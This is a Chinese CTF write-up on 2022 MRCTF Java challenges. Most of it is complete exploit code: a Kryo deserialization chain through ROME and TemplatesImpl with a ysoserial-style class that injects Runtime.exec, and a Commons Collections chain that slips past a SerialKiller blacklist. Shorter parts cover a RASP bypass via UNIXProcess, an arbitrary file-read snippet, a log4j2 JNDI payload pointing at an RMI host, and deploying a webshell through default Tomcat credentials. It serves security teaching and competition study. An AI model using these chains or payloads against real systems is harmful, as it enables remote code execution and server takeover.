2022MRCTF-Java部分 总结 总的来说是一次非常不错的比赛,这里也会简单列出考点方便查阅学习,不难有点引导性质
Ps:此次比赛都是不出网,所以都需要内存马,内存马部分不做讲解很简单百度搜搜
下面这两题挺不错的也学到了东西,题目做了备份,核心代码(exp)也放到了git仓库备份,本篇只是思路帖子
https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF
Springcoffee–Kryo反序列化、绕Rasp
EzJava–绕Serialkiller黑名单中cc关键组件
下面这两题没啥参考价值,不过让我搞了下实战也还不错
Java_mem_shell_Filter–log4j2打jndi
Java_mem_shell_Basic—tomcat弱口令
Springcoffee – Kryo反序列化、绕Rasp ok,这东西也是从来没学过,又是从头开始,这里记录了当时是如何思考的分析思考过程
思路分析 首先看看整体目录结构
这里挑几个重要的来讲一下CoffeeController
order路由反序列化
1 2 3 4 5 6 7 @RequestMapping({"/coffee/order"}) public Message order (@RequestBody CoffeeRequest coffee) { if (coffee.extraFlavor != null ) { ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor)); Input input = new Input(bas); ExtraFlavor flavor = (ExtraFlavor)this .kryo.readClassAndObject(input); return new Message(200 , flavor.getName());
demo路由,主要是根据输入修改一些关键配置,这个比较关键之后再说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 @RequestMapping({"/coffee/demo"}) public Message demoFlavor (@RequestBody String raw) throws Exception { System.out.println(raw); JSONObject serializeConfig = new JSONObject(raw); if (serializeConfig.has("polish" ) && serializeConfig.getBoolean("polish" )) { this .kryo = new Kryo(); Method[] var3 = this .kryo.getClass().getDeclaredMethods(); int var4 = var3.length; for (int var5 = 0 ; var5 < var4; ++var5) { Method setMethod = var3[var5]; if (setMethod.getName().startsWith("set" )) { try { Object p1 = serializeConfig.get(setMethod.getName().substring(3 )); if (!setMethod.getParameterTypes()[0 ].isPrimitive()) { try { p1 = Class.forName((String)p1).newInstance(); setMethod.invoke(this .kryo, p1); } catch (Exception var9) { var9.printStackTrace(); } } else { setMethod.invoke(this .kryo, p1); } } catch (Exception var10) { } } } } ByteArrayOutputStream bos = new ByteArrayOutputStream(); Output output = new Output(bos); this .kryo.register(Mocha.class); this .kryo.writeClassAndObject(output, new Mocha()); output.flush(); output.close(); return new Message(200 , "Mocha!" , Base64.getEncoder().encode(bos.toByteArray())); }
首先要解决这道题,我们得知道前人都有一些什么研究
通过谷歌简单搜索可以搜到一篇文章:浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641)
其中比较有信息量的是调用栈,但是这里题目环境里面没有依赖
但是这里有rome依赖,那么很容易想到EqualsBean去触发ROME的利用链子
具体利用过程(Payload构造过程) 根据dubbo的利用链进行修改我们可以得到这样的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 package demo;import com.esotericsoftware.kryo.Kryo;import com.esotericsoftware.kryo.io.Input;import com.esotericsoftware.kryo.io.Output;import com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.rowset.JdbcRowSetImpl;import fun.mrctf.springcoffee.model.ExtraFlavor;import fun.mrctf.springcoffee.model.Mocha;import javassist.ClassPool;import org.json.JSONObject;import org.objenesis.strategy.SerializingInstantiatorStrategy;import org.objenesis.strategy.StdInstantiatorStrategy;import org.springframework.aop.target.HotSwappableTargetSource;import javax.sql.rowset.BaseRowSet;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.Base64;import java.util.HashMap;public class Testt { protected Kryo kryo = new Kryo(); public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public String ser (String raw) throws Exception { JSONObject serializeConfig = new JSONObject(raw); if (serializeConfig.has("polish" ) && serializeConfig.getBoolean("polish" )) { this .kryo = new Kryo(); Method[] var3 = this .kryo.getClass().getDeclaredMethods(); int var4 = var3.length; for (int var5 = 0 ; var5 < var4; ++var5) { Method setMethod = var3[var5]; if (setMethod.getName().startsWith("set" )) { try { Object p1 = serializeConfig.get(setMethod.getName().substring(3 )); if (!setMethod.getParameterTypes()[0 ].isPrimitive()) { try { p1 = Class.forName((String)p1).newInstance(); setMethod.invoke(this .kryo, p1); } catch (Exception var9) { var9.printStackTrace(); } } else { setMethod.invoke(this .kryo, p1); } } catch (Exception var10) { } } } } ByteArrayOutputStream bos = new ByteArrayOutputStream(); Output output = new Output(bos); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); TemplatesImpl templates = new TemplatesImpl(); byte [][] bytes = new byte [][]{ClassPool.getDefault().get("demo.YYDS" ).toBytecode()}; EqualsBean bean = new EqualsBean(String.class,"" ); setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "1" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl()); setFieldValue(bean,"beanClass" , Templates.class); setFieldValue(bean,"obj" ,templates); Object gadgetChain = Utils.makeXStringToStringTrigger(templates,bean); objectObjectHashMap.put(gadgetChain,"" ); kryo.writeClassAndObject(output, objectObjectHashMap); output.flush(); output.close(); return new String(Base64.getEncoder().encode(bos.toByteArray())); } public void deser (String raw) { ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(raw)); Input input = new Input(bas); ExtraFlavor flavor = (ExtraFlavor)this .kryo.readClassAndObject(input); System.out.println(flavor.getName()); } public static void main (String[] args) throws Exception { Testt test = new Testt(); String ser = test.ser("{\"polish\":true,\"RegistrationRequired\":false,\"InstantiatorStrategy\": \"org.objenesis.strategy.StdInstantiatorStrategy\"}" ); test.deser(ser); } }
以及Utils类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 package demo;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.springframework.aop.target.HotSwappableTargetSource;import sun.reflect.ReflectionFactory;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.Serializable;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;public class Utils { static { System.setProperty(DESERIALIZE_TRANSLET, "true" ); System.setProperty("java.rmi.server.useCodebaseOnly" , "false" ); } public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler" ; public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L ; public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L ; } public static InvocationHandler createMemoizedInvocationHandler (final Map<String, Object> map ) throws Exception { return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan" , "false" )) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl" ), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet" ), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl" )); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName()); String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\" ,"\\\\\\\\" ).replaceAll("\"" , "\\\"" ) + "\");" ; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte [] classBytes = clazz.toBytecode(); Utils.setFieldValue(templates, "_bytecodes" , new byte [][] { classBytes, Utils.classAsBytes(Utils.Foo.class) }); Utils.setFieldValue(templates, "_name" , "Pwnr" ); Utils.setFieldValue(templates, "_tfactory" , transFactory.newInstance()); return templates; } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); return ctor; } @SuppressWarnings ( {"unchecked" } ) public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T)sc.newInstance(consArgs); } public static String classAsFile (final Class<?> clazz) { return classAsFile(clazz, true ); } public static String classAsFile (final Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null ) { str = clazz.getName().replace("." , "/" ); } else { str = classAsFile(clazz.getEnclosingClass(), false ) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class" ; } return str; } public static byte [] classAsBytes(final Class<?> clazz) { try { final byte [] buffer = new byte [1024 ]; final String file = classAsFile(clazz); final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file); if (in == null ) { throw new IOException("couldn't find '" + file + "'" ); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1 ) { out.write(buffer, 0 , len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); Utils.setFieldValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); Utils.setFieldValue(s, "table" , tbl); return s; } public static Object makeXStringToStringTrigger (Object o,Object bean) throws Exception { return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(bean)); } }
但是当你兴冲冲的写好利用链以后,会发现几个问题
首先你会看到一行报错,Class is not registered: java.util.HashMap
那么你肯定会疑惑这是什么玩意儿?它来自哪里?
我们可以看到在com.esotericsoftware.kryo.Kryo#Kryo(com.esotericsoftware.kryo.ClassResolver, com.esotericsoftware.kryo.ReferenceResolver)
首先实例化的时候注册了一些基本类型
然后在代码当中有this.kryo.register(Mocha.class);
可以看到默认是FieldSerializer
那我们也知道我们这个思路触发的核心是通过com.esotericsoftware.kryo.serializers.MapSerializer
,但是这里我们没法自己注册怎么办呢,还记得上面那个路由么,demo路由当中可以根据我们前端传入的json当中的熟悉控制执行对应的set方法做属性更改,这里我不直接说需要更改哪些属性去解决这道题,个人更倾向于遇到一个问题解决一个问题
那么既然能控制属性,我们也得知道能控制那一些,通过简单输出可以得到
1 2 3 4 5 6 7 8 9 10 11 12 setWarnUnregisteredClasses setDefaultSerializer setDefaultSerializer setClassLoader setRegistrationRequired setReferences setCopyReferences setReferenceResolver setInstantiatorStrategy setAutoReset setMaxDepth setOptimizedGenerics
回到刚刚的问题
既然如此那么我们首先需要知道在哪里抛出了这个异常,可以看到在
com.esotericsoftware.kryo.Kryo#getRegistration(java.lang.Class)
简单列出现在的调用栈,是在序列化的过程当中
1 2 3 4 5 6 getRegistration:579 , Kryo (com.esotericsoftware.kryo) writeClass:112 , DefaultClassResolver (com.esotericsoftware.kryo.util) writeClass:613 , Kryo (com.esotericsoftware.kryo) writeClassAndObject:708 , Kryo (com.esotericsoftware.kryo) ser:97 , Testt (demo) main:121 , Testt (demo)
可以看到根据类型在this.classResolver.getRegistration无结果就会抛出异常,通过debug输出classResolver当中的关键信息,可以很明显得到基本都是一些基本的数据类型,没有我们的Map
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { char =[5 , char ], long =[7 , long ], class java .lang .Byte =[4 , byte ], class java .lang .Character =[5 , char ], double =[8 , double ], class java .lang .Short =[6 , short ], int =[0 , int ], class java .lang .Integer =[0 , int ], byte =[4 , byte ], float =[2 , float ], class java .lang .Double =[8 , double ], class java .lang .Boolean =[3 , boolean ], boolean =[3 , boolean ], short =[6 , short ], class java .lang .Long =[7 , long ], class java .lang .String =[1 , String], class java .lang .Float =[2 , float ]}
我们再来看在抛出异常的那部分,如果将registrationRequired设置为false,则可以略过这些过程
此时它会执行com.esotericsoftware.kryo.util.DefaultClassResolver#registerImplicit
=>com.esotericsoftware.kryo.Kryo#getDefaultSerializer
最终获取到我们需要的com.esotericsoftware.kryo.serializers.MapSerializer
通过比对属性以及上面提到的可利用的set方法,我们能很容易通过payload的传入控制这个过程
1 {"RegistrationRequired" :false }
ok当你感觉又行的时候,又兴致冲冲运行了代码,此时又出现Class cannot be created (missing no-arg constructor):
,字面意思是我们序列化的类需要有无参构造函数
那我们再跟进代码看看实例化报错到底是怎么回事,在实例化一个类的时候会通过调用com.esotericsoftware.kryo.Kryo#newInstantiator
,
并最终会调用到com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy#newInstantiatorOf
此时的调用栈为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 newInstantiatorOf:96 , DefaultInstantiatorStrategy (com.esotericsoftware.kryo.util) newInstantiator:1190 , Kryo (com.esotericsoftware.kryo) newInstance:1199 , Kryo (com.esotericsoftware.kryo) create:163 , FieldSerializer (com.esotericsoftware.kryo.serializers) read:122 , FieldSerializer (com.esotericsoftware.kryo.serializers) readClassAndObject:880 , Kryo (com.esotericsoftware.kryo) read:226 , MapSerializer (com.esotericsoftware.kryo.serializers) read:42 , MapSerializer (com.esotericsoftware.kryo.serializers) readClassAndObject:880 , Kryo (com.esotericsoftware.kryo) read:226 , MapSerializer (com.esotericsoftware.kryo.serializers) read:42 , MapSerializer (com.esotericsoftware.kryo.serializers) readClassAndObject:880 , Kryo (com.esotericsoftware.kryo) deser:110 , Testt (demo) main:126 , Testt (demo)
可以看到抛错的原因就是下面的这串代码,它默认我们的类有无参构造函数
那为了解决这个问题我们也得知道是否可以不使用DefaultInstantiatorStrategy
,转而使用其他InstantiatorStrategy
的子类呢,答案是可以的,上面我们可以看到函数实例化的过程是通过this.strategy.newInstantiatorOf(type)
,而这个DefaultInstantiatorStrategy
来源于strategy
属性
正好在Kryo类当中有set方法可以实现,com.esotericsoftware.kryo.Kryo#setInstantiatorStrategy
,可以看到如果是StdInstantiatorStrategy
类则正好符合(官方文档比代码好看)
因此我们得到最终传参
1 {"polish" :true ,"RegistrationRequired" :false ,"InstantiatorStrategy" : "org.objenesis.strategy.StdInstantiatorStrategy" }
可以看到又报错了,_tfactory
空指针异常
这里如何解决呢?其实很简单,别忘了我们这个可是打ROME,通过触发com.rometools.rome.feed.impl.EqualsBean#beanEquals
我们能调用任意get方法,这时候不难想到二次反序列化,java.security.SignedObject#getObject
,其实就是虎符的思路了没啥难度
1 2 3 4 5 6 7 8 9 10 11 12 public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream(this .content); ObjectInput a = new ObjectInputStream(b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
因此不难得到payload
绕Rasp 这时候你注入内存马执行会发现什么都是空的
这时候你一定很疑问为什么本地打通了远程不行,我也很疑惑,之后看到出题人说
既然存在waf,那么我们第一件事情是什么呢,当然是验证是否是对payload的过滤
因此我将执行的字节码改成
成功看到页面延时
这时候猜到可能有Rasp(毕竟对于Java过滤base64解码后的字符串有点傻)
那第一步就要知道rasp的文件内容,用个之前从p牛那里学的伪协议小trick方便我读文件以及列目录
1 2 3 4 5 6 7 8 9 10 String urlContent = "" ; final URL url = new URL(request.getParameter("read" ));final BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream())); String inputLine = "" ; while ((inputLine = in.readLine()) != null ) { urlContent = urlContent + inputLine + "\n" ; } in.close(); writer.println(urlContent);
之后成功得到rasp的地址,/app/jrasp.jar
,那么下载下来分析即可,图没截完,意思是只要执行到java.lang.ProcessImpl
的start
方法,而这也就封掉了之前常见的Runtime
,ProcessBuilder
,甚至js执行之类的,el执行都不行,道理很简单会调用到java.lang.ProcessImpl
如何绕过也很简单去找更下一层的调用即可,也就是通过UNIXProcess
即可
后面很恶心一个计算题
脚本有个地方小错误导致三小时没找到前面不能加CHLD_IN
导致提前输入错误答案似乎
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 use strict;use IPC::Open3;my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed!" ;my $r;$r = <CHLD_OUT>; print "$r" ;$r = <CHLD_OUT>; print "$r" ;$r = substr ($r,0 ,-3 ); $r = eval "$r" ; print "$r\n" ;print CHLD_IN "$r\n" ;$r = <CHLD_OUT>; print "$r" ;
EzJava – Bypass Serialkiller 解读环境 首先附件给了两个东西一个jar,一个serialkiller的配置文件,下面是jar当中的目录架构
这有两个控制器但是第一个没啥意义,这个路由很明显需要反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @RestController public class HelloController { public HelloController () { } @GetMapping({"/hello"}) public String index () { return "hello" ; } @PostMapping({"/hello"}) public String index (@RequestBody String baseStr) throws Exception { byte [] decode = Base64.getDecoder().decode(baseStr); ObjectInputStream ois = new SerialKiller(new ByteArrayInputStream(decode), "serialkiller.xml" ); ois.readObject(); return "hello" ; } }
简单看下SerialKiller类,实现是载入配置获得黑白名单,通过resolveClass做了过滤,接下来就来看看黑名单,将我们反序列化的关键点给拿捏了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <blacklist > <regexp > org\.apache\.commons\.collections\.Transformer$</regexp > <regexp > org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp > <regexp > org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp > <regexp > org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp > <regexp > org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp > <regexp > org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp > <regexp > org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp > <regexp > org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp > <regexp > org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp > <regexp > org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp > </blacklist >
Bypass 既然如此那么首先就是想到去找替换类达到同样的效果咯
下面是我通过简单搜索发现的类,当然后面发现解决这题方案很多,我只给一个
可以看到这个trnasfromer的transform方法,可以调用任意Factory子类的create方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class FactoryTransformer implements Transformer , Serializable { private static final long serialVersionUID = -6817674502475353160L ; private final Factory iFactory; public static Transformer getInstance (Factory factory) { if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } else { return new FactoryTransformer(factory); } } public FactoryTransformer (Factory factory) { this .iFactory = factory; } public Object transform (Object input) { return this .iFactory.create(); } public Factory getFactory () { return this .iFactory; } }
可以看到也不多,从名字就可以看出,其中有两个可以用的
其中org.apache.commons.collections.functors.ConstantFactory#create
可以返回任意值
代替ConstantTransformer
org.apache.commons.collections.functors.InstantiateFactory#create
可以实例化任意类
代替InstantiateTransformer
去实例化对象
那看到这里你有什么思路了吗?熟悉CC链的童鞋一定会知道TrAXFilter的构造函数当中可以帮助我们触发TemplatesImpl字节码加载的过程
通过如下构造,我们能很轻松的触发计算器
Ps小细节:对expMap做put操作会触发hashCode会导致利用链在序列化过程当中触发导致报错,别忘了先设置一个无关紧要的transformer(比如ConstantTransformer)最后再反射替换成我们恶意的Transformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InstantiateFactory;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.nibblesec.tools.SerialKiller;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class Test { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name" , "1" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); InstantiateFactory instantiateFactory; instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class ,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj}); FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); ConstantTransformer constantTransformer = new ConstantTransformer(1 ); Map innerMap = new HashMap(); LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey" ); Map expMap = new HashMap(); expMap.put(tme, "valuevalue" ); setFieldValue(outerMap,"factory" ,factoryTransformer); outerMap.remove("keykey" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream ois = new SerialKiller(byteArrayInputStream, "/Users/y4tacker/Downloads/ezjavaz/serialkiller.xml" ); ois.readObject(); } }
后面就是获取注入一个内存马即可获取flag,这部分不谈基础东西而已
那么就结束了这一题
Java_mem_shell_Filter 首先只给了一个登录功能
通过随便访问不存在页面,导致报错抛出也可以得到是tomcat8.0.12版本,那版本问题可以忽略了
接下来由于后端响应真的很快,在公共环境下能做到这样首先考虑弱口令,爆破无效
突然想到能不能打log4j2
1 name=${jndi:rmi://xxxxx/exp}&password=admin
后面拿flag也是比较阴间,这里不重要不写了,涉及到dump内存的操作还是写写吧
1 jmap -dump:format=b,file=e.bin <pid>
Java_mem_shell_Basic 可以看见直接是一个tomcat,看了版本没啥可利用的1day,同时版本比较低不存在幽灵猫漏洞
那么接下来就只能考虑后台弱口令了,tomcat/tomcat
,之后部署一个war包上去,直接冰蝎一把梭哈,就是flag位置比较阴间/usr/local/apache-tomcat-8.0.12/work/Catalina/localhost/ROOT/org/apache/jsp/threatbook_jsp.java